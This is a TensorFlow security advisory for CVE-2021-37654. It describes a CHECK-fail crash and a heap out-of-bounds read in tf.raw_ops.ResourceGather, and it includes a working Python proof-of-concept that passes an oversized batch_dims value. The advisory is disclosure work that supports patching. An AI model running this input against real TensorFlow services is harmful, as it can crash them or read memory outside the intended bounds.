CVE-2021-37654: Heap OOB and CHECK fail in `ResourceGather`

August 25, 2021 (updated November 13, 2024)

An attacker can trigger a crash via a CHECK-fail in debug builds of TensorFlow using tf.raw_ops.ResourceGather or a read from outside the bounds of heap allocated data in the same API in a release build:

import tensorflow as tf

tensor = tf.constant(value=[[1,2],[3,4],[5,6]],shape=(3,2),dtype=tf.uint32)
v = tf.Variable(tensor)
tf.raw_ops.ResourceGather(
resource=v.handle,
indices=[0],
dtype=tf.uint32,
batch_dims=10,
validate_indices=False)
